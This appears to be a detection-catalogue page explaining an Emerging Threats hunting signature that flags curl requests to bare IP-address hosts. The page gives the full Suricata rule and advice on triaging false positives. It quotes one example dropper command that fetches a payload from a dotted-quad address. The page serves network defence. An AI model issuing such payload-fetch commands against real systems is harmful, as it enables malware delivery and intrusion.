Medium severityET HUNTINGActive in PcapHub scans

ET HUNTING curl User-Agent to Dotted Quad

SID 2034567 · rev 1 · classtype bad-unknown

What this signature means

A curl client fetched something from a server addressed by a bare IP address instead of a hostname. Droppers and post-exploitation scripts do exactly this (curl http://1.2.3.4/payload), but so do administrators, monitoring scripts and lab tooling, which is why ET files it under hunting rather than malware. Look at what was requested and whether the same host then ran or downloaded anything else.

A hunting rule: a pattern that is worth investigating but is not malicious on its own. Expect false positives.

Written by the PcapHub team.

What it watches

HTTP traffic from a monitored host to an outside host, in an established connection, from client to server.

It fires when

  • the User-Agent header starts with "curl/" (case-insensitive)
  • the HTTP Host header matches the regular expression "/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/"

What Emerging Threats says

  • Emerging Threats rates it informational with medium confidence.
  • Target: Client Endpoint.
  • Meant for perimeter sensors.

Good to know

  • Active in PcapHub's scan set: every uploaded capture is checked against it.

Public captures that trigger it63

Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET HUNTING curl User-Agent to Dotted Quad"; flow:established,to_server; http.user_agent; content:"curl/"; startswith; nocase; fast_pattern; http.host; pcre:"/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/"; classtype:bad-unknown; sid:2034567; rev:1; metadata:attack_target Client_Endpoint, created_at 2021_12_01, deployment Perimeter, confidence Medium, signature_severity Informational, tag Description_Generated_By_Proofpoint_Nexus, updated_at 2021_12_01;)

Emerging Threats Open. Rule created Dec 1, 2021. Last revised by ET Dec 1, 2021. Text on PcapHub refreshed 7mo ago.